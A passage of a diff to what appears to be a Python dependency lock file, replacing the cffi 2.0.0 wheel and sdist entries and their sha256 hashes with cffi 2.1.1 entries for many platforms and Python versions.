"sha256:5fed36fccc0612a53f1d4d9a816b50a36702c28a2aa880cb8a122b3466638743"}, - {file = "cffi-2.0.0-cp311-cp311-win32.whl", hash = "sha256:c649e3a33450ec82378822b3dad03cc228b8f5963c0c12fc3b1e0ab940f768a5"}, - {file = "cffi-2.0.0-cp311-cp311-win_amd64.whl", hash = "sha256:66f011380d0e49ed280c789fbd08ff0d40968ee7b665575489afa95c98196ab5"}, - {file = "cffi-2.0.0-cp311-cp311-win_arm64.whl", hash = "sha256:c6638687455baf640e37344fe26d37c404db8b80d037c3d29f58fe8d1c3b194d"}, - {file = "cffi-2.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:6d02d6655b0e54f54c4ef0b94eb6be0607b70853c45ce98bd278dc7de718be5d"}, - {file = "cffi-2.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8eca2a813c1cb7ad4fb74d368c2ffbbb4789d377ee5bb8df98373c2cc0dee76c"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:21d1152871b019407d8ac3985f6775c079416c282e431a4da6afe7aefd2bccbe"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b21e08af67b8a103c71a250401c78d5e0893beff75e28c53c98f4de42f774062"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:1e3a615586f05fc4065a8b22b8152f0c1b00cdbc60596d187c2a74f9e3036e4e"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:81afed14892743bbe14dacb9e36d9e0e504cd204e0b165062c488942b9718037"}, - {file = "cffi-2.0.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3e17ed538242334bf70832644a32a7aae3d83b57567f9fd60a26257e992b79ba"}, - {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3925dd22fa2b7699ed2617149842d2e6adde22b262fcbfada50e3d195e4b3a94"}, - {file = "cffi-2.0.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:2c8f814d84194c9ea681642fd164267891702542f028a15fc97d4674b6206187"}, - {file = "cffi-2.0.0-cp312-cp312-win32.whl", hash = "sha256:da902562c3e9c550df360bfa53c035b2f241fed6d9aef119048073680ace4a18"}, - {file = "cffi-2.0.0-cp312-cp312-win_amd64.whl", hash = "sha256:da68248800ad6320861f129cd9c1bf96ca849a2771a59e0344e88681905916f5"}, - {file = "cffi-2.0.0-cp312-cp312-win_arm64.whl", hash = "sha256:4671d9dd5ec934cb9a73e7ee9676f9362aba54f7f34910956b84d727b0d73fb6"}, - {file = "cffi-2.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb"}, - {file = "cffi-2.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:45d5e886156860dc35862657e1494b9bae8dfa63bf56796f2fb56e1679fc0bca"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:07b271772c100085dd28b74fa0cd81c8fb1a3ba18b21e03d7c27f3436a10606b"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d48a880098c96020b02d5a1f7d9251308510ce8858940e6fa99ece33f610838b"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f93fd8e5c8c0a4aa1f424d6173f14a892044054871c771f8566e4008eaa359d2"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:dd4f05f54a52fb558f1ba9f528228066954fee3ebe629fc1660d874d040ae5a3"}, - {file = "cffi-2.0.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c8d3b5532fc71b7a77c09192b4a5a200ea992702734a2e9279a37f2478236f26"}, - {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:d9b29c1f0ae438d5ee9acb31cadee00a58c46cc9c0b2f9038c6b0b3470877a8c"}, - {file = "cffi-2.0.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6d50360be4546678fc1b79ffe7a66265e28667840010348dd69a314145807a1b"}, - {file = "cffi-2.0.0-cp313-cp313-win32.whl", hash = "sha256:74a03b9698e198d47562765773b4a8309919089150a0bb17d829ad7b44b60d27"}, - {file = "cffi-2.0.0-cp313-cp313-win_amd64.whl", hash = "sha256:19f705ada2530c1167abacb171925dd886168931e0a7b78f5bffcae5c6b5be75"}, - {file = "cffi-2.0.0-cp313-cp313-win_arm64.whl", hash = "sha256:256f80b80ca3853f90c21b23ee78cd008713787b1b1e93eae9f3d6a7134abd91"}, - {file = "cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5"}, - {file = "cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef"}, - {file = "cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775"}, - {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205"}, - {file = "cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1"}, - {file = "cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f"}, - {file = "cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25"}, - {file = "cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad"}, - {file = "cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9"}, - {file = "cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc"}, - {file = "cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592"}, - {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512"}, - {file = "cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4"}, - {file = "cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e"}, - {file = "cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6"}, - {file = "cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9"}, - {file = "cffi-2.0.0-cp39-cp39-macosx_10_13_x86_64.whl", hash = "sha256:fe562eb1a64e67dd297ccc4f5addea2501664954f2692b69a76449ec7913ecbf"}, - {file = "cffi-2.0.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:de8dad4425a6ca6e4e5e297b27b5c824ecc7581910bf9aee86cb6835e6812aa7"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:4647afc2f90d1ddd33441e5b0e85b16b12ddec4fca55f0d9671fef036ecca27c"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3f4d46d8b35698056ec29bca21546e1551a205058ae1a181d871e278b0b28165"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e6e73b9e02893c764e7e8d5bb5ce277f1a009cd5243f8228f75f842bf937c534"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:cb527a79772e5ef98fb1d700678fe031e353e765d1ca2d409c92263c6d43e09f"}, - {file = "cffi-2.0.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:61d028e90346df14fedc3d1e5441df818d095f3b87d286825dfcbd6459b7ef63"}, - {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:0f6084a0ea23d05d20c3edcda20c3d006f9b6f3fefeac38f59262e10cef47ee2"}, - {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:1cd13c99ce269b3ed80b417dcd591415d3372bcac067009b6e0f59c7d4015e65"}, - {file = "cffi-2.0.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:89472c9762729b5ae1ad974b777416bfda4ac5642423fa93bd57a09204712322"}, - {file = "cffi-2.0.0-cp39-cp39-win32.whl", hash = "sha256:2081580ebb843f759b9f617314a24ed5738c51d2aee65d31e02f6f7a2b97707a"}, - {file = "cffi-2.0.0-cp39-cp39-win_amd64.whl", hash = "sha256:b882b3df248017dba09d6b16defe9b5c407fe32fc7c65a9c69798e6175601be9"}, - {file = "cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529"}, + {file = "cffi-2.1.1-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:baed1e86cc735622097354b9d1281406caf42ff42a886d29faa8e8d1630333be"}, + {file = "cffi-2.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ca82be1a1d406ecfe1d25dc16cb33488e5a16bf4438c9fb590484ea29d92478b"}, + {file = "cffi-2.1.1-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:42e2f76b9455f5a9a844f770bf3e200ed3da0e15f5df3db9c31fe80b04b3d004"}, + {file = "cffi-2.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5a59cc1c4442bc3d5c703bf720b51138d0bfc173618807c9ee2490a7541dd3d9"}, + {file = "cffi-2.1.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:9f8d177621de5cb38ee3e731eda45d421db093ec0739f46a5594babda7987a98"}, + {file = "cffi-2.1.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:75f80557d1389eddbd0de2681f6a390a0c5338c31ddaa821381c203fc3fd50d9"}, + {file = "cffi-2.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:194cffa889098ced9976c3fc6340305e43f6303657d298da55366907c05c22d6"}, + {file = "cffi-2.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5bb4e7ea95dcd6a014a6fef62e62467d67d8e582326443f3d68e71d6320a9fcf"}, + {file = "cffi-2.1.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3d22a20b1fb1632cc72c22f95f7b0d2961c3e1c235f245ba4c606c4771035659"}, + {file = "cffi-2.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:1dea0e4d7d4f11f619fe8c1d76caf49e24405b4b5743c0e3be16a500ecd930c9"}, + {file = "cffi-2.1.1-cp310-cp310-win32.whl", hash = "sha256:7ce713ace7c0e4520535b42b77eaa742c16dab813978064913e5a3cf82973b41"}, + {file = "cffi-2.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:a48d62ab9d6f4f98c983223a547af44be6ca3691074c31cecced6facd3ba2dc1"}, + {file = "cffi-2.1.1-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:c8d2c9fd1f2d16f780d15127abb050d13d1a76c03a4bd87d7e4980e45e511e12"}, + {file = "cffi-2.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:398aff33cee2767e3e781d2554c54bd0dff386bb437581e0d8011fde1a942ec1"}, + {file = "cffi-2.1.1-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:154852545011f779917b11c78db2358d095da62a9a172b78ad0a583ee5adc0d0"}, + {file = "cffi-2.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:3311ed60d36f83378794e1009ac6258bafbf81f7888b4caa7b35a521e3f95813"}, + {file = "cffi-2.1.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:6e192623c49c94421616a5778fba35cf0d5a8d000650c1967ef4448ee5cdd990"}, + {file = "cffi-2.1.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a6e721d4b0e45d5b65e87534470e67b18dcd092c83f68fba09f152b9cbc061af"}, + {file = "cffi-2.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:34e261f78cb6ceaaa36f42f2613f4380d94d9c759a9c73c769ee6e0247364632"}, + {file = "cffi-2.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7225e4514edb64eb6740324353e0da0711954fd8d7da4576755b1c6e09b697cd"}, + {file = "cffi-2.1.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:df913725b79db7bcf03448f36b7bf8815363417d5b58deecf9305e3e30f0f21a"}, + {file = "cffi-2.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f5cfbc5fe74540d335175b656c725d74d90e3730c626d92575eea35029d9afaa"}, + {file = "cffi-2.1.1-cp311-cp311-win32.whl", hash = "sha256:f8ec5e643a9a937f64e1999eb9f75d072263751912dc5cd06d3c85f8f44be7c3"}, + {file = "cffi-2.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:42f6930c31dc7f50732c9ae793c2786c7b6b044195967bbdde40bb9be81c4cc0"}, + {file = "cffi-2.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:c7659f22557c5a0bc4855cd635f55edec690cc008a40768527762cb9fb263455"}, + {file = "cffi-2.1.1-cp312-cp312-macosx_10_15_x86_64.whl", hash = "sha256:c8c69575568085ba0b1b10c0249d779a214aea6f6522e949a0fc9fb0fcb449d0"}, + {file = "cffi-2.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f81b3b8f3d4e343550fa4baa0e479bba9f2d29ce9c2e9b51d1ce1718d7442fcf"}, + {file = "cffi-2.1.1-cp312-cp312-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:811bd1e21d32de12efca32393a0ab3f5133b54fce9bd44b8bd77ab07da14bf6a"}, + {file = "cffi-2.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:68e62fe11f30d5ca8289242866f0a5291402d8529ca2178ab8afc5c9694ae890"}, + {file = "cffi-2.1.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:4a7c934f7360e8cd64fe9efadcbd10c7c6364f531e432b9a4bf5ccbc9e0e8b50"}, + {file = "cffi-2.1.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:3143d81e29e1e20a9ce10901ec369012947876596f75a222235965f2b7ae832e"}, + {file = "cffi-2.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c1453022f490d2459a11819d83ad1d586e9ff65a12ac3e705ffebd46d3685dcf"}, + {file = "cffi-2.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:208f941bb9d18e768138677f0a6d2ce01f590df56043dda1df1535ac57c88517"}, + {file = "cffi-2.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:210019b6c7cf07f081b4c54635c8cf744377001350e29cc0f81c4377b4797735"}, + {file = "cffi-2.1.1-cp312-cp312-win32.whl", hash = "sha256:046bfc24911b37851ee1b51aab8bffe713d89c68c6a057b09484ce9fd5f69b4e"}, + {file = "cffi-2.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:f53e442b08449d42821fa4a4fba000095af9f62742a500f978a9f557ec44339a"}, + {file = "cffi-2.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:7bde5e4cc5c10140859842b9d383af292b22639a4dffb725314baf45968cef80"}, + {file = "cffi-2.1.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:b5bdfd1c873d4e093aabc0ca84c4ca6dbc4f752afb5c86f146d9742580c9da2e"}, + {file = "cffi-2.1.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:31348097ff5bbe827ccc41795d4dd099d9f0625e7def00ee653c137a490c2a6c"}, + {file = "cffi-2.1.1-cp313-cp313-macosx_10_15_x86_64.whl", hash = "sha256:9d2055050ea716bd38b7f7f1579c275386646b4894c155a3e2f3cd62ed41b7c6"}, + {file = "cffi-2.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:19ee6127ee34de7d83ce3d371ebc5ed91addbdcc39f9ab15ce4eb35a4e534971"}, + {file = "cffi-2.1.1-cp313-cp313-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:6a8dddef476fab96d066d578fc88526767b836ab5ab21754e1d5bf3879c31c7c"}, + {file = "cffi-2.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f16c709686a78c727bbbf059f92b0bf41c6fc60deec706d2dc19f529175a6125"}, + {file = "cffi-2.1.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:fcd22650c908d7b7da162bbfaab594a1227a15d1643a98c68b122ac642fa2264"}, + {file = "cffi-2.1.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:aa9511c62d14da7aacc9b4bf51f3f697a621e83b2d6919008243c3aad168eea3"}, + {file = "cffi-2.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a931079504ecc49efed7744c476a5c343a92fabf66dec2db95edb1b2fdc770e2"}, + {file = "cffi-2.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a2d7755bef5a12ed488f4ef1f1b69ee9191d7396083b755a5d2295f6edb4768b"}, + {file = "cffi-2.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e0bcb7e0f677f543555d2adff3bf19c05f66cdb4796e5ff602442ab2fe3c4ef7"}, + {file = "cffi-2.1.1-cp313-cp313-win32.whl", hash = "sha256:334644fbac4eff73d985a17a91226df55d0f394160c4cfb880e084c8f7161cac"}, + {file = "cffi-2.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:1aa5645c30469b09530c4ebca77ebf8f17618293c58f8549cb1a543a50236e7d"}, + {file = "cffi-2.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:63bbfd5ded17c4840ac07cd8f1c21ba9d9708141f840b324f422f41b207e3973"}, + {file = "cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:7dbb61fe3a7699468030f71bbe5f8a0e326a151daa91beb11a6fc1f980c55e1c"}, + {file = "cffi-2.1.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:f24fb43132a4c6b4cb4eb029492919b2db645be6808d738f244fd146c03c32cb"}, + {file = "cffi-2.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:d28630f5854ab07ab1fd4aba756de52326c82e6be15d414b12793f1975048b54"}, + {file = "cffi-2.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:661c298b4821edebead0c91edd2b00374d67ad7c5a1f7a91d4442633b79d6a72"}, + {file = "cffi-2.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:58acb8ab8e295e6c5ea12f888cbb13cf21511ef2a3303a23f4325c29d17fe5c1"}, + {file = "cffi-2.1.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:456a61fa52d579ebf9df2e9552ead5129855dbaff6c1e5a9b1bc408809bdc062"}, + {file = "cffi-2.1.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a4f00aa42f75d6e4595e8866e748cc1705adc0cddfeb2ca86d0d03993d63ba03"}, + {file = "cffi-2.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b0431303acaea1089ad4b3e9ce4e6518193def1118d4073ca848635ee4ea2e96"}, + {file = "cffi-2.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:64faea20f4e2613363a1a9b9c7dd73058f3ecd00133a511e72ad7c511658f527"}, + {file = "cffi-2.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5c58fe613dc5e5336357eff555824a314d8e43282600435c8d1cb6a7a2fedd13"}, + {file = "cffi-2.1.1-cp314-cp314-win32.whl", hash = "sha256:1a18a57b58cfb21fc28d72e876acf10eaed67a1ed96226f92af4df681d571c4c"}, + {file = "cffi-2.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:3222ba5d678f80a030e6afbcc33dc1ae5cb45facabb61cee2c7016b8432fde48"}, + {file = "cffi-2.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:ab36d55f9ed2d067327667c2fea18dda018eb628dd6347aa01dda6cf1f5d3836"}, + {file = "cffi-2.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:7750c6449dff7864bb9bb27ddfb0267756189201a3afc911d82b3caacd70dfc3"}, + {file = "cffi-2.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:0beceaabe56af686895136a2de78db54ecd8e4046b236b8fd6d6cb61389e9bf2"}, + {file = "cffi-2.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:49cbc70e6542d4ccccb936558d1064a8012541e78f821f955cff24e357776c94"}, + {file = "cffi-2.1.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:e2d65b31f36619cda3999b78b2aa9632e76b78448e7a56fc4240824200e7c4fc"}, + {file = "cffi-2.1.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:28907ab9bfb6aa13184cfc17c6b8e1023c5ab6fd7076d8c20a35e59fe04f8f29"}, + {file = "cffi-2.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:51b31d1c98274844cfd7838ce00bfc27c7423a4dc00fc0772fc3331c2cc90676"}, + {file = "cffi-2.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:5e7cecbaadb83884793e05828cee59b210b24583b9c7425d0ba6a754fe22eb4e"}, + {file = "cffi-2.1.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:25792eac27877609e7bb06d42ff88278a6624fff2ba9bbb523c09616b117e80f"}, + {file = "cffi-2.1.1-cp314-cp314t-win32.whl", hash = "sha256:8ef53b2de9bcb9197d31854256575d59dbac0cba72ac627bb291ef5eceb74be4"}, + {file = "cffi-2.1.1-cp314-cp314t-win_amd64.whl", hash = "sha256:616f097f2fe415bc92a247f02e11f634e1f9e9a83d327e3c915c15089c87869e"}, + {file = "cffi-2.1.1-cp314-cp314t-win_arm64.whl", hash = "sha256:ad2c86c495b899d862ea0f4b42891b8713a3bd45dd4105c7fd51c2a72f39f3a5"}, + {file = "cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:dddad92b554513a31f272570678ba307fb9f618f05e3d4a5eacafff9eae03e1d"}, + {file = "cffi-2.1.1-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:da0e573f9f97159390c89d9f1a9e41908b66d408cc5b58d08cf3847d844c531b"}, + {file = "cffi-2.1.1-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:fb92203a88b3d3053034db775110081c49d28be6551923805e039924093761e4"}, + {file = "cffi-2.1.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:2ae64be792b8966f2c69538199728b290e34726562896df1e5dc8ffd8d8188e8"}, + {file = "cffi-2.1.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:507a24c282e0f42f8ed737cf048572cbf580468da5555764a8331735e9c736b6"}, + {file = "cffi-2.1.1-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:246fa40ce8645a614ff682e0b70f37134e460eaf93a775e0cbe3cca585a67a80"}, + {file = "cffi-2.1.1-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:471cee653ae88de62096552e6d24ccb4a5adb8c8c9f10b5054d0122c15bf2779"}, + {file = "cffi-2.1.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aeae0e330c9f6acd681f647d46cefd30c29f93e3392882e792e82080c9691399"}, + {file = "cffi-2.1.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:42a494cee34437f05546455144f2b5d9ac09b1face62bcfce597d2e521066688"}, + {file = "cffi-2.1.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:cc572dace3f60ef98d7b12ff411d20f5362feb31a0439eab0085bbfd349982d7"}, + {file = "cffi-2.1.1-cp315-cp315-win32.whl", hash = "sha256:4f42141fc14250de6dde5ee7ea4432be017252d91f19c5ad043c084cea629cac"}, + {file = "cffi-2.1.1-cp315-cp315-win_amd64.whl", hash = "sha256:e6e8cff14d6fb0be70a09c0bdc58096f501952d04624ebf867e0e56da2df8960"}, + {file = "cffi-2.1.1-cp315-cp315-win_arm64.whl", hash = "sha256:27350daa11d4f10c540e6e89dada4c54feb7256ad03e9a4dc075ebad7ba360d1"}, + {file = "cffi-2.1.1-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:c26608d2222fb1e94487e4a387d85f13eb55d5ed725cb25a0c589ac4ee60e7bc"}, + {file = "cffi-2.1.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:4be96343e422f2dfcd12ab5c9f5aebe03f82f737c6bffeca6830b3875cb44aab"}, + {file = "cffi-2.1.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:937c0052c05a31ca1daf18de3158eed4dbfcb9cc107adbea227728d647be701e"}, + {file = "cffi-2.1.1-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:df423d40ee8654634421812bc3b196da3f9bd7d32929da813f8394c4348a5358"}, + {file = "cffi-2.1.1-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a730a083190634c65cca36ba5f489531576ebd79bcd5c8e172130f6453127231"}, + {file = "cffi-2.1.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:363e05fa78e15116c3c32c210ee36884fd6b9afa6d440e47112c3bd511d64cb6"}, + {file = "cffi-2.1.1-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:770de9db11e84213beec501cfcaa013b019820ca881e03344dea5844f7876d94"}, + {file = 